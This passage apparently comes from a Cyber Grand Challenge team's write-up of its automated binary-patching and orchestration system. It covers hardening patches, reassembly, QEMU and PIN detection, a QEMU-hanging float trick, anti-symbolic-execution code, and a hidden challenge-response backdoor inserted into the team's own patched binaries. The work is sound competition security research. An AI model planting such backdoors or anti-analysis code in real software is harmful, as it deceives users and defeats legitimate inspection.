Control-Flow Integrity, Indirect Control-Flow Integrity, Generic Pointer Encryption; - Techniques aiming at preventing rivals from analyzing or stealing our patches, including backdoors, anti-analysis techniques, etc.; - Optimization techniques that make binaries more performant, including constant propagation, dead assignment elimination, and redundant stack variables removal. * Patches A Patch is a low-level description of how a fix or an improvement should be made on the target binary. Patcherex defines a variety types of patches to perform tasks ranging from code/data insertion/removal to segment altering. * Backends A backend takes patches generated from one or more techniques, and applies them on the target binary. Two backends available in Patcherex: - ReassemblerBackend: this backend takes a binary, completely disassembles the entire binary, symbolizes all code and data references among code and data regions, and then generate an assembly file. It then apply patches on the assembly file, and calls an external assembler (it was clang for CGC) to reassemble the patched assembly file to the final binary. - DetourBackend: this backend acts as a fallback to the ReassemblerBackend. It performs in-line hooking and detouring to apply patches. --[ 004.001 - Patching Techniques In this section, we describe all techniques we implemented in Patcherex. Obviously we tried to implement techniques that will prevent exploitation of the given CBs, by making their bugs not exploitable. In some cases, however, our techniques do not render the bugs completely unexploitable, but they still force an attacker to adapt its exploits to our RBs. For instance, some techniques introduce differences in the memory layout between our generated RB and the original CB an attacker may have used to develop its exploit. In addition, we try to prevent attackers from adapting exploits to our RB by adding anti-analysis techniques inside our generated binaries. Furthermore, although we put a significant effort in minimizing the speed and memory impact of our patches, it is often impossible to have performance impact lower than 5% (a CB score starts to be lowered when it has more than 5% of speed or memory overhead). For this reason we decided to "optimize" the produced RB, as we will explain later. --[ 004.001.001 - Binary Hardening Techniques We implemented some techniques for generic binary hardening. Those general hardening techniques, although not extremely complex, turned out to be very useful in the CFE. Vulnerability-targeted hardening (targeted patching) was also planned initially. However, due to lack of manpower and fear for deploying replacement CBs too many times for the same challenge, we did not fully implement or test our targeted patching strategies. * Return Pointer Encryption This technique was designed to protect from classical stack buffer overflows, which typically give an attacker control over an overwritten saved return pointer. Our defense mechanism "encrypts" every return pointer saved on the stack when a function is called, by modifying the function's prologue. The encrypted pointer is then "decrypted" before every ret instruction terminating the same function. For encryption and decryption we simply xor'ed the saved return pointer with a nonce (randomly generated during program's startup). Since the added code is executed every time a function is called, we take special care in minimizing the performance impact of this technique. First of all, this technique is not applied in functions determined as safe. We classify a function as safe if one of these three conditions is true: - The function does not access any stack buffer. - The function is called by more than 5 different functions. In this case, we assume that the function is some standard "utility" function, and it is unlikely that it contains bugs. Even if it contains bugs, the performance cost of patching such a function is usually too high. - The function is called by printf or free. Again, we assume that library functions are unlikely to contain bugs. These common library functions are identified by running the functions with test input and output pairs. This function identification functionality is offered by a separate component (the "Function identifier" mentioned in the "Warez" Section). To further improve the performance, the code snippet that encrypts and decrypts the saved return pointer uses, when possible, a "free" register to perform its computations. This avoids saving and restoring the value of a register every time the injected code is executed. We identify free registers (at a specific code location) by looking for registers in which a write operation always happens before any read operation. This analysis is performed by exploring the binary's CFG in a depth-first manner, starting from the analyzed code location (i.e., the location where the code encrypting/decrypting the return pointer is injected). Finally, to avoid negatively impacting the functionality of the binary, we did not patch functions in which the CFG reconstruction algorithm has problems in identifying the prologue and the epilogues. In fact, in those cases, it could happen that if an epilogue of the analyzed function is not identified, the encrypted return address will not be decrypted when that epilogue is reached, and consequently the program will use the still-encrypted return pointer on the stack as the return target. This scenario typically happens when the compiler applies tail-call optimizations by inserting jmp instructions at the end of a function. * Transmit Protection As a defense mechanism against Type 2 exploits, we inject code around the transmit syscall so that a binary is forbidden from transmitting any 4 contiguous bytes of the flag page. The injected code uses an array to keep track of the last transmitted bytes so that it can identify cases in which bytes of the flag page are leaked one at a time. * Simple Control-Flow Integrity To protect indirect control flow instructions (e.g., call eax, jmp ebx), we inject, before any instruction of this kind, code that checks specific properties of the target address (i.e., the address which the instruction pointer will be after the call or jump). The specific checks are: - The target address must be an allocated address (to prevent an attacker from using the indirect control-flow instruction to directly perform a Type 1 attack). To do so, we try to read from the target address, so that if the address does not point to an allocated region the program will crash before the instruction pointer is modified. This prevents simple Type 1 exploits, because the attacker must control at least 20 bits of the instruction pointer, and it is unlikely (but not impossible) that the negotiated value will end up inside an allocated memory region. - The target address must be inside the memory range where the binary's code is typically loaded (for simplicity, we consider a "potential code" address to be any below 0x4347c000). To avoid breaking programs that use dynamically allocated code we do not perform this check if we statically detect that the analyzed program calls the allocate syscall in a way which will create additional executable memory. - The target address is not a pop instruction. As a partial mitigation against ROP attacks, we dynamically check if the target of indirect calls is a pop instruction, and terminate the program otherwise. * Uninitialized Data Cleaning For each function, we identify all of the instructions that read and write to stack variables, and the stack offset that is accessed. If there is any path through the CFG such that a stack variable is read before it is written, then we consider it possible that there is an uninitialized data usage. For each variable that is detected in an uninitialized data usage, we zero that variable by adding stack cleaning code at the beginning of the function. * Stack Base Address Randomization On program's startup we add a random value (which can assume any 16-byte aligned value between 16 and 1024) to the stack pointer address. This adds indeterminism to the position of the stack, hindering any exploit making assumptions on the program's stack layout. * malloc Protection To interfere with exploitation of heap overflows, if we are able to identify a malloc-like function inside the analyzed CB, we slightly modify its behavior. In particular, we change the amount of bytes allocated by a small, pseudo-random, value. * printf Protection For every printf-like function identified, such as printf, snprintf, etc., we ensure that the function is not used to perform a "format string" attack. Specifically, if the format string parameter is neither in the binary's read-only memory nor a string already present in the binary, we stop the execution of the binary if: - The format string parameter contains a meta character (e.g., "%"). - The format string parameter points to the flag page. --[ 004.001.002 - Adversarial Techniques Certain techniques are introduced to prevent rivals from analyzing, or even running our RBs in a controlled environment, while leaving those RBs still able to run in the real game environment. These techniques are presented in this section. * Anti-analysis We add some code, executed before the original entry point of the binary, to interfere with analyses that other teams could perform on our patched binary. Specifically, we add code to: - Detect if the binary is executed using QEMU or PIN. To do so, we probe the implementation of different aspects that are difficult to emulate correctly, such as segment registers, transmission of partially allocated memory regions, syscall error codes values in case of "double failure". In addition, we add some code triggering a previously unknown implementation bug in QEMU, making it stall. Specifically, during the development of our CRS, we found that QEMU, when using user-mode emulation, does not correctly handle taking the square root of an "un-normal" floating point number, that is, a nonzero 80-bit float whose explicit integer bit (the highest bit of the mantissa) is zero. When this happens, QEMU will hang forever. Because of this anti-QEMU patch, some of our RBs broke the live visualization during the CFE public event. - Interfere with symbolic execution engines. Our adversarial code contains self-modifying code designed to be extremely hard to simulate correctly and efficiently by a symbolic execution engine. In addition, some added code is specifically designed to trigger "path explosion" conditions. - Interfere with automatic exploitation systems. We add code to transmit the flag page to file descriptor 2 (stderr). Although data transmitted to this file descriptor is not sent to a CRS interacting with a binary, an opponent could mistakenly assume that any contiguous 4 bytes transmitted from the flag page constitutes a Type 2 exploit and thus fielding a POV trying to leverage this "fake" leak. In addition, we inject "fake backdoor" code. This code is triggered if a CRS sends a specific 4-byte sequence. When triggered, it reads from the CRS 8 bytes used to set the program instruction pointer and the value of a register. For this reason, this code looks like easily exploitable to create a Type 1 POV, however the read values are xor'ed with a random value, before being used to set the instruction pointer and the register, making this code non-exploitable. In addition, to counteract an adversary fielding one of our own patched binaries as its own patched binary, we inject a backdoor in every fielded patched binary. This backdoor can be used by our CRS to exploit the patched binary we generate, but it is designed to be extremely hard to be exploited from other teams' CRSs. The backdoor is triggered when a specific 4-byte sequence is received. To detect this, the function wrapping the receive syscall is modified to keep track of the first 4 bytes a program receives. Once triggered, the backdoor sends to the CRS a "challenge" C (which is a 19-bit value), and the CRS responds with a response R (a 64-bit value). Then, the backdoor code checks if the following condition is true: first_32_bits_of(SHA1(pad(R,160))) == pad(C,32), where pad(A,N) is a function padding the input value A up to N bits by adding zeros. The challenge can be easily solved by pre-computing all the possible responses, but it is impossible for an opponent's POV to compute a solution for the challenge within the game-imposed 10-second timeout. --[ 004.001.003 - Optimization Techniques Performance is a vital concern of our patching strategy. While we stress the necessity of optimizing all our patching techniques, some overhead cannot be avoided. From analyzing binaries collected from CQE and CFE samples, we noticed that most of them are compiled with O0, i.e., without optimization enabled. We do not know why organizers decided not to optimize most of the provided challenges, but we speculated that this may have been decided to leave room for optimizations and patching. It is well-known that O0 and O1 binaries can have a huge difference in execution time. Fortunately, some of the optimization methods used in O1 are not that difficult to perform directly on binaries. Further, angr provides all necessary data-flow analysis techniques, which makes the whole optimization development easier. Finally, with the help of the ReassemblerBackend, we can easily fully remove instructions that we want to get rid of, without having to replace them with nops. Therefore, we implemented some basic in-line binary optimization techniques in order to optimize O0 binaries in CFE, which are described below. - Constant Propagation. We propagate constants used as immediates in each instruction, and eliminate unnecessary mov instructions in assembly code. - Dead Assignment Elimination. Many unnecessary assignments occur in unoptimized code. For example, in unoptimized code, when a function reads arguments passed from the stack, it will always make a copy of the argument into the local stack frame, without checking if the argument is modified or not in the local function. We perform a conservative check for cases where a parameter is not modified at all in a function and the copy-to-local-frame is unnecessary. In this case, the copy-to-local instruction is eliminated, and all references to the corresponding variable on the local stack frame are altered to reference the original parameter on the previous stack frame. Theoretically, we may break the locality, but we noticed some improvement in performance in our off-line tests. - Redundant Stack Variable Removal. In unoptimized code, registers are not allocated optimally, and usually many registers end up not being used. We perform a data-flow analysis on individual functions, and try to replace stack variables with registers. This technique works well with variables accessed within tight loops. Empirically speaking, this technique contributes the most to the overall performance gain we have seen during testing. Thanks to these optimizations, our patches often had *zero* overall performance overhead. --[ 004.002 - Patches The techniques presented in the previous section return, as an output, lists of patches. In Patcherex, a patch is a single modification to a binary. The most important types of patches are: - InsertCodePatch: add some code that is going to be executed before an instruction at a specific address. - AddEntryPointPatch: add some code that is going to be executed before the original entry point of the binary. - AddCodePatch: add some code that other patches can use. - AddRWData: add some readable and writable data that other patches can use. - AddROData: add some read-only data that other patches can use. Patches can refer to each other using an easy symbol system. For instance, code injected by an InsertCodePatch can contain an instruction like call check_function. In this example, this call instruction will call the code contained in an InsertCodePatch named check_function. --[ 004.003 - Backends We implemented two different backends to inject different patches. The DetourBackend adds patches by inserting jumps inside the original code, whereas the ReassemblerBacked adds code by disassembling and then reassembling the original binary. The DetourBackend generates bigger (thus using more memory) and slower binaries (and in some rare cases it cannot insert some patches), however it is slightly more reliable than the ReassemblerBackend (i.e., it breaks functionality in slightly less binaries). * DetourBackend This backend adds patches by inserting jumps inside the original code. To avoid breaking the original binary, information from the CFG of the binary is used to avoid placing the added jmp instruction in-between two basic blocks. The added jmp instruction points to an added code segment in which first the code overwritten by the added jmp and then the injected code is executed. At the end of the injected code, an additional jmp instruction brings the instruction pointer back to its normal flow. In some cases, when the basic block that needs to be modified is too small, this backend may fail applying an InsertCodePatch. This requires special handling, since patches are not, in the general case, independent (a patch may require the presence of another patch not to break the functionality of a binary). For this reason, when this backend fails in inserting a patch, the patches "depending" from the failed one are not applied to the binary. * ReassemblerBackend ReassemblerBackend fully disassembles the target binary, applies all patches on the generated assembly, and then assembles the assembly back into a new binary. This is the primary patching backend we used in the CFE. Being able to fully reassemble binaries greatly reduces the performance hit introduced by our patches, and enables binary optimization, which improves the performance of our RBs even further. Also, reassembling usually changes base addresses and function offsets, which achieves a certain level of "security by obscurity" -- rivals will have to analyze our RBs if they want to properly adapt their code-reusing and data-reusing attacks. We provide an empirical solution for binary reassembling that works on almost every binary from CQE and CFE samples. The technique is open-sourced as a component in angr, and, after the CGC competition, it has been extended to work with generic x86 and x86-64 Linux binaries. A detailed explanation as well as evaluation of this technique is published as an academic paper [Ramblr17]. --[ 004.004 - Patching Strategy We used Patcherex to generate, for every CB, three different Replacement Binaries (RBs): - Detouring RB: this RB was generated by applying, using the DetourBackend, all the patches generated by the hardening and adversarial techniques presented previously. - Reassembled RB: this RB was generated by applying the same patches used by the Detouring RB, but using the ReassemblerBackend instead of the DetourBackend. - Optimized Reassembled RB: this RB was generated as the Reassembled one, but, in addition all the patches generated by the optimization techniques were added. These three patched RBs have been listed in order of decreasing performance overhead and decreasing reliability. In other words, the Detouring RB is the most reliable (i.e., it has the smallest probability of having broken functionality), but it has the highest performance overhead with respect to the original unpatched binary. On the contrary the Optimized Reassembled RB is the most likely to have broken functionality, but it has a lower performance impact. --[ 004.005 - Replacement Binary Evaluation * Pre-CFE Evaluation During initial stages of Patcherex development, testing of the RBs was done by an in-house developed component called Tester. Internally, Tester uses cb-test, a utility provided by DARPA for testing a binary with pre-generated input and output pairs, called polls. We made modifications to cb-test, which enabled the testing of a binary and its associated IDS rules on a single machine, whereas the default cb-test needs 3-machines to test a binary with IDS rules. Tester can perform both performance and functionality testing of the provided binary using the pre-generated polls for the corresponding binary using its Makefile. For functionality testing, given a binary, we randomly pick 10 polls and check that the binary passes all the polls. For performance testing, we compute the relative overhead of the provided binary against the unpatched one using all the polls. However, there was huge discrepancy (~10%) between the performance overhead computed by us and that provided during sparring partner sessions for the same binaries. Moreover, during the sparring partner sessions, we also noticed that performance numbers were different across different rounds for the same binaries. Because of these discrepancies and to be conservative, for every patching strategy, we computed the performance overhead as the maximum overhead across all rounds of sparring partner sessions during which RBs with corresponding patching strategy are fielded. During internal testing we used all the available binaries publicly released on GitHub (some of which were designed for the CQE event, whereas others were sample CFE challenges). To further extend our test cases, we recompiled all the binaries using different compilation flags influencing the optimization level used by the compiler. In fact, we noticed that heavily optimized binaries (e.g., -O3), were significantly harder to analyze and to patch without breaking functionality. Specifically, we used the following compilations flags: -O0, -Os, -Oz, -O1, -O2, -O3, -Ofast. Interestingly, we noticed that some of the binaries, when recompiled with specific compilation flags, failed to work even when not patched. During the final stages of Patcherex development, we noticed that almost all generated RBs never failed the functionality and that the performance overhead was reasonable except for a few binaries. This, combined with the discrepancy inherent in performance testing, led us not to use any in-depth testing of our replacement binaries during the CFE. * CFE Evaluation For every RB successfully generated, Patcherex first performs a quick test of their functionality. The test is designed to spot RBs that are broken by the patching strategy. In particular, Patcherex only checks that every generated RB does not crash when provided with a small test set of hardcoded input strings ("B", "\n", "\n\n\n\n\n\n", etc.) We decided to perform only a minimal tests of the functionality because of for performance and reliability considerations. --[ 004.006 - Qualification Round Approaches It is worth mentioning that for the CGC qualification round, the rules were very different from the final round. Between this and the fact that our analysis tools were not yet mature it was necessary for us to approach patching very differently from the final round approaches previously described. In the qualification round, the only criteria for "exploitation" was a crash. If you could crash a binary, it meant that you could exploit it, and if your binary could crash, it meant that you were vulnerable. Furthermore, the qualification scoring formula was such that your "defense" score, i.e. how many vulnerabilities your patch protected against, was a global multiplier for your score between zero and one. This meant that if you didn't submit a patch for a binary, or if your patch failed to protect against any of the vulnerabilities, you received zero points for that challenge, regardless of how well you were able to exploit it. This is such an unconventional scoring system that when we analyzed the (publicly available) patches produced by other teams for the qualification round, we found that at least one qualifying team had a patching strategy such that whenever they discovered a crash, they patched the crashing instruction to simply call the exit syscall. This is technically not a crash, so the teams that did this did in fact receive defense points for the challenges, and accordingly did in fact receive a non-negligible score for effectively stubbing out any vaguely problematic part of the binary. Our approaches were slightly more nuanced! There were two techniques we developed for the qualification round, one "general" technique, meaning that it could be applied to a program without any knowledge of the vulnerabilities in a binary, and one "targeted" technique, meaning that it was applied based on our CRS' knowledge of a vulnerability. Each of the techniques could produce several candidate patched binaries, so we had to choose which one to submit in the end - our choice was based on some rudimentary testing to try to ascertain if the binary could still crash, and if not, to assess the performance impact of the patch. It is important to notice for CQE, the patched binaries were tested by the organizers against a fixed set of pre-generated exploits. For this reason, our patched binaries just had to prevent to be exploited when run against exploit developed for the original, unpatched, version of the program. In other words, the attacker had no way to adapt its exploits to our patches and so "security trough obscurity" techniques were extremely effective during the qualification event. --[ 004.006.001 - Fidget Our "general" patching technique for CQE was a tool called Fidget. Fidget was developed the summer prior to the announcement of the CGC for use in attack-defense CTFs. Its basic intuition is that the development of an attack makes a large number of very strong assumptions about the internal memory layout of a program, so in many cases simply tweaking the layout of stack variables is a reliable security-through-obscurity technique. At the time of the CQE, Fidget was a tool capable of expanding function stack frames, putting unused space in between local variables stored on the stack. This is clearly not sufficient to prevent crashes, as is necessary for the strange qualification scoring formula. However, the tool had an additional mode that could control the amount of padding that was inserted; the mode that we used attempted to insert thousands of bytes of padding into a single stack frame! The idea here is, of course, that no overflow attack would ever include hundreds of bytes more than strictly necessary to cause a crash. The primary issue with Fidget is that it's pretty hard to tell that accesses to different members or indexes of a variable are actually accesses to the same variable! It's pretty common for Fidget to patch a binary that uses local array and struct variables liberally, and the resulting patched binary is hilariously broken, crashing if you so much as blow on it. There are a huge number of heuristics we apply to try not to separate different accesses to the same variable, but in the end, variable detection and binary type inference are still open problems. As a result, Fidget also has a "safe mode" that does not try to pad the space in between variables, instead only padding the space between local variables and the saved base pointer and return address. We originally planned to use Fidget in the final round, since it had the potential to disrupt exploits that overflow only from one local variable into an adjacent one, something that none of our final-round techniques can address. However, it was cut from our arsenal at the last minute upon the discovery of a bug in Fidget that was more fundamental than our ability to fix it in the limited time available! Unfortunate... --[ 004.006.002 - CGrex If we know that it's possible for a binary to crash at a given instruction, why don't we just add some code to check if that specific instruction would try to access unmapped or otherwise unusable memory, and if so exit cleanly instead of crashing? This is exactly what CGrex does. Our reassembler was not developed until several weeks before the CGC final event, so for the qualification round CGrex was implemented with a primitive version of what then became the DetourBackend. Once our CRS found a crash, the last good instruction pointer address was sent to CGrex, which produced a patched binary that replaced all crashing instructions with jumps to a special inserted section that used some quirks in some syscalls to determine if the given memory location was readable/writable/executable, and exit cleanly if the instruction would produce a crash. More precisely, CGrex takes, as input, a list of POVs and a CB and it outputs a patched CB "immune" against the provided POVs. CGrex works in five steps: 1) Run the CGC binary against a given POV using a modified QEMU version with improved instruction trace logging and able to run CGC binaries. 2) Detect the instruction pointer where the POV generates a crash (the "culprit instruction"). 3) Extract the symbolic expression of the memory accesses performed by the "culprit instruction" (by using Miasm). For instance, if the crashing instruction is mov eax, [ebx*4+2] the symbolic expression would be ebx*4+2. 4) Generate "checking" code that dynamically: - Compute the memory accesses that the "culprit instruction" is going to perform. - Verify that these memory accesses are within allocated memory regions (and so the "culprit instruction" is not going to crash). To understand if some memory is allocated or not CGrex "abuses" the return values of the random and fdwait syscalls. In particular these syscalls were used by passing as one of the parameters the value to be checked. The kernel code handling these functions verifies that, for instance, the pointer were the number of random bytes returned by random is written is actually pointing to writable memory and it returns a specific error code if not. CGrex checks this error code to understand if the tested memory region is allocated. Special care is taken so that, no matter if the tested memory location is allocated or not, the injected syscall will not modify the state of the program. - If a memory access outside allocated memory is detected, the injected code just calls exit. 5) Inject the "checking" code. Steps 1 to 5 are repeated until the binary does not crash anymore with all the provided POVs. --[ 005 - Orchestration +--------+ +---------+ CGC endpoints | TI API | | IDS tap | +--------+ +---------+ . . / \ / \ | | -----------------------------|--------------|------------------------------ | | Mechanical Phish \ / \ / ' ' +------------+ +------------+ | Ambassador | |Network Dude| +------------+ +-+----------+ | | +------------+ +------------+ | | | Meister | | Scriba | | | +-----+------+ +-------+----+ | | | | | | +--------------------------------+ +--------+--------+ | | | Worker | | | | | | _----------_ | | | Poll creator AFL Driller | ( )<---------+ | | ============ === ======= | |`----------`|<-------------+ | Tester POV Tester POV Fuzzer | | |<---------------+ ====== ========== ========== | | Farnsworth | | Patcherex Colorguard Rex | ( ) | ========= ========== === | `----------` +--------------------------------+ Designing a fully autonomous system is a challenging feat from an engineering perspective too. In the scope of the CFE, the CRS was required to run without fault for at least 10 hours. Although it was proposed to allow debugging during the CFE, eventually, no human intervention was permitted. To that end, we designed our CRS using a microservice-based approach. Each logical part was split following the KISS principle ("Keep it simple, stupid") and the Unix philosophy ("Do one thing and do it well"). Specifically, the separation of logical units allowed us to test and work on every component in complete isolation. We leveraged Docker to run components independently, and Kubernetes to schedule, deploy, and control component instances across all 64 nodes provided to us. --[ 005.001 - Components Several different components of Mechanical Phish interacted closely together during the CRS (see diagram above). In the following, we will briefly talk about the role of each component. * Farnsworth Farnsworth is a Python-based wrapper around the PostgreSQL database, and stores all data shared between components: CBs, POVs, crashing inputs, synchronization structures, etc. In our design, we prohibited any direct communication between components and required them to talk "through" Farnsworth. Therefore, Farnsworth was a potential single point of failure. To reduce the associated risk for the CFE, we paid particular attention to possible database problems and mitigated them accordingly. * Ambassador Ambassador was the component that talked to the CGC Team Interface (TI) to retrieve CBs, obtain feedback, and submit RBs and POVs. In the spirit of KISS, this component is the only part of Mechanical Phish to communicate externally and the only source for the ground truth in respect to the game state. * Meister Meister coordinated Mechanical Phish. For each component, a component- specific creator decided which jobs should be run at any point in the game, based on information obtained through Farnsworth and written by Ambassador. Consequently, Meister decided which jobs to run based on the priority information of each job (as specified by the creator) and usage of the nodes in terms of CPU and memory. Note that, specifically, Meister and its creators were entirely stateless. At any point, it could crash, yet it would not kill existing jobs upon automatic restart if they were still considered important by the creators. * Scriba An important task of the CRS was to select and submit the POVs and RBs, respectively. Scriba looked at performance results of exploits and patches and decided what and when to submit (for more details on the selection strategy see Section 6 - Strategy). As mentioned previously, after Scriba decided what and when to submit, Ambassador actually submitted to the TI (as Ambassador is the only component allowed to communicate externally). * Network Dude The Network Dude component received UDP traffic coming from the IDS tap and stored it into the database via Farnsworth. Since it is required to receive packets at line-speed, neither parsing nor analysis of the network data was performed within Network Dude, instead, we relied different components to process the network traffic. * Worker Worker was the executor for analysis tasks of the CRS. It wrapped tools such as angr, Driller, Patcherex in a generic interface to be managed easily. In fact, every Worker instance referred to an entry in a jobs queue specifying task arguments and type. Since some of the workers had to execute CGC DECREE binaries for functionality and performance evaluation, we included a DECREE virtual machine running on QEMU within a worker. --[ 005.002 - Dynamic Resource Allocation Another advantage of our architecture design, alongside dependency isolation and ease of deployment, was the possibility to dynamically scale components to meet our needs. Except for the PostgreSQL database and some internal Kubernetes services, all our components could run on any node without limitation. Furthermore, when creating a job, Meister assigned it a priority based on the component and the current game status. For example, crash-generation jobs (Rex) were prioritized lower if an input crash was not considered reliable, or the analysis of a de-fielded CB was considered of no importance at all. Intuitively, all created jobs were sorted by descending values of priority, and scheduled through the Kubernetes API until all nodes' resources (CPU and memory) were saturated. Once all node resources were taken by running jobs, Meister killed jobs with lower priority to accommodate new higher priority jobs, but it did not over-provision. --[ 005.003 - Fail-over Mechanical Phish was required to run without failure for the duration of the CFE, an estimated 10 hours. Furthermore, no debugging sessions were permitted and the CRS was recommended to be resistant to minor hardware failure (or might have risked to "crash and burn"). To improve the reliability and resiliency of Mechanical Phish, we took various steps. First, every component, including Ambassador, Meister, Scriba, Network Dude, and Workers, was deployed as a Docker container. All components were designed to be entirely stateless, allowing us to restart them and move them across nodes if necessary. Although components could be terminated abruptly without any significant consequence, some components were critical and were required to be running for Mechanical Phish to function correctly: These were Ambassador, Network Dude, Scriba, and Meister (crashing and recovering is acceptable for these components). Fortunately, Kubernetes provided a way to define always-running instances through DaemonSet and ReplicationController resources. If an instance of such type is terminated or timed out, it is automatically launched on another node (to prevent Kubernetes to be a single point-of-failure, Mechanical Phish was using a highly-available Kubernetes setup with multiple masters and virtual IP addresses for access). * Database Naturally, the entire system cannot be completely stateless, and a single stateful component is required, which was Farnsworth. To prevent any failure of the node running the PostgreSQL Docker containers or the containers themselves, we leveraged PostgreSQL's built-in master-slave streaming replication for a resilient system. Specifically, for the CFE, we ran 5 instances on 5 different physical nodes evenly spread across the rack, and an additional health-checking monitoring service. The monitor service itself was run using a ReplicationController resource. If the master database container would have been considered dead by the monitor, a slave instance would have been elected as the new master and a replacement slave would have been created on a healthy node. To prevent components from failing during database disaster recovery, they accessed the database in a retry loop with exponential back-off. In turn, it would have ensured that no data would have been lost during the transition from a slave to master. * CGC Access Interfaces The CGC CFE Trials Schedule defined that specific IP addresses were required to communicate with the CGC API. Given the distributed nature of our CRS and the recommendation to survive failure, the IP addresses remained the last single point of failure as specific components needed to be run on specific physical hosts. Consequently, we used Pacemaker and Corosync to monitor our components (Ambassador and Network Dude), and assign the specific IP addresses as virtual IP addresses to a healthy instance: if a node failed, the address would move to a healthy node. --[ 006 - Strategy ---;;;;;;;-----'''''''''``' --- `' .,,ccc$$hcccccc,. `' ,;;!!!'``,;;!!' ;;;;,,.,;-------''''''' ,;;!!- .zJ$$$$$$$$$$$$$$$$$$$c,. `' ,;;!!!!' ,; ```' -;;;!'''''- `.,.. .zJ$$$$$$$$$$$$$$$$$$$$$$$$$$c, `!!'' ,;!!' !!- ' `,;;;;;;;;;;'''''```' ,c$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$c, ;!!'' ,; ,;;;!!!!!!!!''``.,;;;;!'`' z$$$$$$$$???"""""'.,,.`"?$$$$$$$$$$$ ``,;;!!! ;;.. --''```_..,;;! J$$$$$$??,zcd$$$$$$$$$$$$$$$$$$$$$$$$h ``'``' ```''' ,;;''``.,.,;;, ,$$$$$$F,z$$$$$$$$$$$$$$$$$$$c,`""?$$$$$h !!!!;;;;, --`!''''''' $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$h.`"$$$$h . `'''``.,;;;!;;;--;; zF,$$$$$$$$$$?????$$$$$$$$$$$$$?????$$r ;?$$$ $. !;.,..,.````.,;;;; ,$P'J"$$$$$$P" .,c,,.J$$$$$$$$$"',cc,_`?h.`$$$$ $L '``````' .,.. ,$$". $ $$$$P",c$$$$$$$$$$$$$$$$',$$$$$$$$$$ $$$$ $$c, !!!!!!!!!!!!!''' J$',$ $.`$$P c$$$$$$$$$$$$$$$$$$,$$$$$$$$$$$ $$$$ $$$$C `` J$ ,$P $$ ?$',$$$$???$$$$$$$$$$$$$$$??"""?$$$ <$$$ $$$$$ c ;, z$F,$$ `$$ $ ?$" "$$$.?$$$ $$$P c??c, ?$.<$$',$$$$$F $$h. -!> (' $" $F ,F ?$ $ F ,="?$$c,`$$F $$"z$$',$' ,$$P $h.`$ ?$$$$$r $$$$$hc,. ``' J$ $P J$ . $$F L ",,J$$$F <$hc$$ "$L,`??????,J$$$.` z$$$$$ $$$$$$$$$$c,'' ?F,$',$F.: $$ c$c,,,,,c,,J$$$$$$$ ?$$$c,,,c$$$$$$F. $$$$$$ `"$$$$$$$$$$$c, $$',$$ :: $$$$$$$$F"',$$$$$$$$$$h ?$$$L;;$$$??$$$$ $$$$$$ "?$$$$$$$$$$ $$$$$$ : .`F"$$$$$$$$$$$$""""?"""h $$$$$$$"$,J$$$$ $$$$$' "?$$$$$$$ $$$$$$.`.` h `$$$$$$$$$$$cccc$$c,zJ$$$$$P' $$$$$P',$$$$P $. `""?$$ $$$$$$$ ` "$c "?$$$$$$$$$$$$??$$$$$$$$" ,J$$$P",J$$$$P .. `" ?$$$$$$h ?$$c.`?$$$$$$$$$' . <$$$$$' ,$$$" ,$$$$$" !!>. . `$$$$$$$h . "$$$c,"$$$$$$$' `' `$$$P ,$$$' ,c$$$$$' ;! ``` `$$$$$$$c "$$$c`?$$$$$ : : $$$ ,$$P' z$$$$$$' ;!! $hc ```' ; `$$$$$$$. ?$$c ?$$$$ .: : $$$ $$F ,J$$$$$$' ;!! .,.. ' `$$$$$$$ "$$h`$$$$ .' ' $$$ ,$$ ,J$$$$$$' !!! ????P `$$$$$$L $$$ $$$F :.: J$$P J$F J$$$$$P ;!! -=< ?$$."$$ `$$ ?$$' `' z$$$F $P $$$$$$' !!' cc `$$$c`? ?$.`$$hc, cd$$F ,$' $$$$$$ ;!! $$$$c `$$c$$$$$$$$$",c$' $$$$$$ `!! $$$$$ `?$$$$$$$$$$$$P' $$$$$$> .. $$$$$ `"?$$$$$$$P" $$$$$$L $$c, !! <$$$$$ zc,`"""', <$$$$$$.`$$$$cc, !! J$$$$P `$$$$$$$' !' $$$$$$L `$$$$$$h ;, $$$$$L `! J$$$$$',!! $$$$$$$ `$$$$$$ ' <$$$$$. ! $$$$$$ !! ?$$$$$$ `$$$$$ ,$$$$$$$c `,`???? ;' c,?$$$$' `?$$$ $$$$$$$?? `!;;;;! . `h."?$P `$$$ ,$$$$$$$h. `''' `' `$$$P `?$ $$$$$$$$h `!' `"' ` `$$$$$$$$F !; ! ;, `$$$$$$$' `!!> `! c, ;, `?$$$$P !!> . $F !!> `""' `!! ;!> <- The General Strategy of Shellphish The Mechanical Phish was only about three months old when the final event of the Cyber Grand Challenge took place. Like any newborn, its strategic thought processes were not well developed and, unfortunately, the sleep-deprived hackers of Shellphish were haphazard teachers at best. In this section, we describe what amounted to our game strategy for the Mechanical Phish and how the rules of the Cyber Grand Challenge, combined with this strategy, impacted the final result. * Development Strategy The Shellphish CGC team was comprised completely of researchers at the UC Santa Barbara computer security lab. Unfortunately, research labs are extremely disorganized environments. Also unfortunately, as most of us were graduate students, and graduate students need to do research to survive (and eventually graduate), we were fairly limited in the amount of time that we could devote to the CGC. For example, for the CGC Qualification Event, we built our CRS in two and a half weeks. For the final event, we were able to devote a bit more time: on average, each member of the team (the size of which gradually increased from 10 to 13 over the course of the competition) probably spent just under three months on this insanity. One thing that bit us is that we put off true integration of all of the components until the last minute. This led to many last-minute performance issues, some of which we did not sort out before the CFE. * Exploitation Strategy Our exploitation strategy was simple: we attack as soon and as frequently as possible. The only reason that we found to hold back was to avoid letting a victim team steal an exploit. However, there was not enough information in the consensus evaluation to determine whether a team did or did not have an exploit for a given service (and attempting to recover this fact from the network traffic was unreliable), so we decided on a "Total War" approach. * Patching Strategy For every not-failing RB, we submitted the patch considered as the most likely to have a better performance score. Specifically, given the way in which RBs were created, we ranked RBs according to the following list: Optimized Reassembled RB, Reassembled RB, Detouring RB. This choice was motivated by the fact that detouring is slow (as it causes cache flushes due to its propensity to jumping to many code locations), whereas the generated optimized RBs are fast. Of course, we could not always rely on the reassembler (and optimizer) to produce a patch, as these backends had some failure cases. For every patch submitted, the corresponding CS is marked down for a round. Because this can be (and, in the end, was) debilitating to our score, we evaluated many strategies with regards to patching during the months before the CFE. We identified four potential strategies: - Never patch: The simplest strategy was to never patch. This has the advantage of nullifying the chances of functionality breakages and avoiding the downtime associated with patching. - Patch when exploited: The optimal strategy would be to patch as soon as we detect that a CS was being exploited. Unfortunately, detecting when a CS is exploited is very difficult. For example, while the consensus evaluation does provide signals that the binaries cause, these signals do not necessarily correlate to exploitation. Furthermore, 